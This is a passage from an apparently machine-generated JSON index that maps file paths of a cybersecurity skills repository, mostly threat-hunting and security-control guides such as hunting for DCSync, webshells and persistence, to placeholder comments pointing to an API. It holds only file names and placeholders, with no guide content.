-->","skills/hunting-for-data-staging-before-exfiltration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-staging-before-exfiltration%2FSKILL.md -->","skills/hunting-for-data-staging-before-exfiltration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-staging-before-exfiltration%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dcom-lateral-movement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcom-lateral-movement%2FSKILL.md -->","skills/hunting-for-dcom-lateral-movement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcom-lateral-movement%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dcsync-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcsync-attacks%2FSKILL.md -->","skills/hunting-for-dcsync-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcsync-attacks%2Freferences%2Fapi-reference.md -->","skills/hunting-for-defense-evasion-via-timestomping/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-defense-evasion-via-timestomping%2FSKILL.md -->","skills/hunting-for-defense-evasion-via-timestomping/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-defense-evasion-via-timestomping%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dns-based-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-based-persistence%2FSKILL.md -->","skills/hunting-for-dns-based-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-based-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dns-tunneling-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2FSKILL.md -->","skills/hunting-for-dns-tunneling-with-zeek/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Fassets%2Ftemplate.md -->","skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dns-tunneling-with-zeek/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fstandards.md -->","skills/hunting-for-dns-tunneling-with-zeek/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fworkflows.md -->","skills/hunting-for-domain-fronting-c2-traffic/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-domain-fronting-c2-traffic%2FSKILL.md -->","skills/hunting-for-domain-fronting-c2-traffic/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-domain-fronting-c2-traffic%2Freferences%2Fapi-reference.md -->","skills/hunting-for-lateral-movement-via-wmi/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lateral-movement-via-wmi%2FSKILL.md -->","skills/hunting-for-lateral-movement-via-wmi/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lateral-movement-via-wmi%2Freferences%2Fapi-reference.md -->","skills/hunting-for-living-off-the-cloud-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2FSKILL.md -->","skills/hunting-for-living-off-the-cloud-techniques/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Fassets%2Ftemplate.md -->","skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fapi-reference.md -->","skills/hunting-for-living-off-the-cloud-techniques/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fstandards.md -->","skills/hunting-for-living-off-the-cloud-techniques/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fworkflows.md -->","skills/hunting-for-living-off-the-land-binaries/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2FSKILL.md -->","skills/hunting-for-living-off-the-land-binaries/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Fassets%2Ftemplate.md -->","skills/hunting-for-living-off-the-land-binaries/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fapi-reference.md -->","skills/hunting-for-living-off-the-land-binaries/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fstandards.md -->","skills/hunting-for-living-off-the-land-binaries/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fworkflows.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2FSKILL.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Fassets%2Ftemplate.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fapi-reference.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fstandards.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fworkflows.md -->","skills/hunting-for-ntlm-relay-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-ntlm-relay-attacks%2FSKILL.md -->","skills/hunting-for-ntlm-relay-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-ntlm-relay-attacks%2Freferences%2Fapi-reference.md -->","skills/hunting-for-persistence-mechanisms-in-windows/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2FSKILL.md -->","skills/hunting-for-persistence-mechanisms-in-windows/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Fassets%2Ftemplate.md -->","skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fapi-reference.md -->","skills/hunting-for-persistence-mechanisms-in-windows/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fstandards.md -->","skills/hunting-for-persistence-mechanisms-in-windows/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fworkflows.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2FSKILL.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Fassets%2Ftemplate.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fapi-reference.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fstandards.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fworkflows.md -->","skills/hunting-for-process-injection-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-process-injection-techniques%2FSKILL.md -->","skills/hunting-for-process-injection-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-process-injection-techniques%2Freferences%2Fapi-reference.md -->","skills/hunting-for-registry-persistence-mechanisms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2FSKILL.md -->","skills/hunting-for-registry-persistence-mechanisms/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Fassets%2Ftemplate.md -->","skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fapi-reference.md -->","skills/hunting-for-registry-persistence-mechanisms/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fstandards.md -->","skills/hunting-for-registry-persistence-mechanisms/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fworkflows.md -->","skills/hunting-for-registry-run-key-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-run-key-persistence%2FSKILL.md -->","skills/hunting-for-registry-run-key-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-run-key-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-scheduled-task-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2FSKILL.md -->","skills/hunting-for-scheduled-task-persistence/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Fassets%2Ftemplate.md -->","skills/hunting-for-scheduled-task-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-scheduled-task-persistence/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fstandards.md -->","skills/hunting-for-scheduled-task-persistence/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fworkflows.md -->","skills/hunting-for-shadow-copy-deletion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2FSKILL.md -->","skills/hunting-for-shadow-copy-deletion/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Fassets%2Ftemplate.md -->","skills/hunting-for-shadow-copy-deletion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fapi-reference.md -->","skills/hunting-for-shadow-copy-deletion/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fstandards.md -->","skills/hunting-for-shadow-copy-deletion/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fworkflows.md -->","skills/hunting-for-spearphishing-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2FSKILL.md -->","skills/hunting-for-spearphishing-indicators/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Fassets%2Ftemplate.md -->","skills/hunting-for-spearphishing-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fapi-reference.md -->","skills/hunting-for-spearphishing-indicators/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fstandards.md -->","skills/hunting-for-spearphishing-indicators/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fworkflows.md -->","skills/hunting-for-startup-folder-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-startup-folder-persistence%2FSKILL.md -->","skills/hunting-for-startup-folder-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-startup-folder-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-supply-chain-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2FSKILL.md -->","skills/hunting-for-supply-chain-compromise/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Fassets%2Ftemplate.md -->","skills/hunting-for-supply-chain-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fapi-reference.md -->","skills/hunting-for-supply-chain-compromise/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fstandards.md -->","skills/hunting-for-supply-chain-compromise/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fworkflows.md -->","skills/hunting-for-suspicious-scheduled-tasks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2FSKILL.md -->","skills/hunting-for-suspicious-scheduled-tasks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Fassets%2Ftemplate.md -->","skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fapi-reference.md -->","skills/hunting-for-suspicious-scheduled-tasks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fstandards.md -->","skills/hunting-for-suspicious-scheduled-tasks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fworkflows.md -->","skills/hunting-for-t1098-account-manipulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-t1098-account-manipulation%2FSKILL.md -->","skills/hunting-for-t1098-account-manipulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-t1098-account-manipulation%2Freferences%2Fapi-reference.md -->","skills/hunting-for-unusual-network-connections/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2FSKILL.md -->","skills/hunting-for-unusual-network-connections/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Fassets%2Ftemplate.md -->","skills/hunting-for-unusual-network-connections/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fapi-reference.md -->","skills/hunting-for-unusual-network-connections/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fstandards.md -->","skills/hunting-for-unusual-network-connections/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fworkflows.md -->","skills/hunting-for-unusual-service-installations/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-service-installations%2FSKILL.md -->","skills/hunting-for-unusual-service-installations/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-service-installations%2Freferences%2Fapi-reference.md -->","skills/hunting-for-webshell-activity/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2FSKILL.md -->","skills/hunting-for-webshell-activity/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Fassets%2Ftemplate.md -->","skills/hunting-for-webshell-activity/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fapi-reference.md -->","skills/hunting-for-webshell-activity/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fstandards.md -->","skills/hunting-for-webshell-activity/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fworkflows.md -->","skills/hunting-saas-sso-token-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2FSKILL.md -->","skills/hunting-saas-sso-token-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2Freferences%2Fapi-reference.md -->","skills/hunting-saas-sso-token-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2Freferences%2Fstandards.md -->","skills/implementing-aes-encryption-for-data-at-rest/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2FSKILL.md -->","skills/implementing-aes-encryption-for-data-at-rest/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Fassets%2Ftemplate.md -->","skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fapi-reference.md -->","skills/implementing-aes-encryption-for-data-at-rest/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fstandards.md -->","skills/implementing-aes-encryption-for-data-at-rest/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fworkflows.md -->","skills/implementing-alert-fatigue-reduction/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-alert-fatigue-reduction%2FSKILL.md -->","skills/implementing-alert-fatigue-reduction/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-alert-fatigue-reduction%2Freferences%2Fapi-reference.md -->","skills/implementing-anti-phishing-training-program/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2FSKILL.md -->","skills/implementing-anti-phishing-training-program/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Fassets%2Ftemplate.md -->","skills/implementing-anti-phishing-training-program/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fapi-reference.md -->","skills/implementing-anti-phishing-training-program/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fstandards.md -->","skills/implementing-anti-phishing-training-program/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fworkflows.md -->","skills/implementing-anti-ransomware-group-policy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-ransomware-group-policy%2FSKILL.md -->","skills/implementing-anti-ransomware-group-policy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-ransomware-group-policy%2Freferences%2Fapi-reference.md -->","skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-abuse-detection-with-rate-limiting%2FSKILL.md -->","skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-abuse-detection-with-rate-limiting%2Freferences%2Fapi-reference.md -->","skills/implementing-api-gateway-security-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-gateway-security-controls%2FSKILL.md -->","skills/implementing-api-gateway-security-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-gateway-security-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-api-key-security-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-key-security-controls%2FSKILL.md -->","skills/implementing-api-key-security-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-key-security-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-api-rate-limiting-and-throttling/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-rate-limiting-and-throttling%2FSKILL.md -->","skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-rate-limiting-and-throttling%2Freferences%2Fapi-reference.md -->","skills/implementing-api-schema-validation-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-schema-validation-security%2FSKILL.md -->","skills/implementing-api-schema-validation-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-schema-validation-security%2Freferences%2Fapi-reference.md -->","skills/implementing-api-security-posture-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-posture-management%2FSKILL.md -->","skills/implementing-api-security-posture-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-posture-management%2Freferences%2Fapi-reference.md -->","skills/implementing-api-security-testing-with-42crunch/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-testing-with-42crunch%2FSKILL.md -->","skills/implementing-api-security-testing-with-42crunch/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-testing-with-42crunch%2Freferences%2Fapi-reference.md -->","skills/implementing-api-threat-protection-with-apigee/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-threat-protection-with-apigee%2FSKILL.md -->","skills/implementing-api-threat-protection-with-apigee/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-threat-protection-with-apigee%2Freferences%2Fapi-reference.md -->","skills/implementing-application-whitelisting-with-applocker/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2FSKILL.md -->","skills/implementing-application-whitelisting-with-applocker/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Fassets%2Ftemplate.md -->","skills/implementing-application-whitelisting-with-applocker/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fapi-reference.md 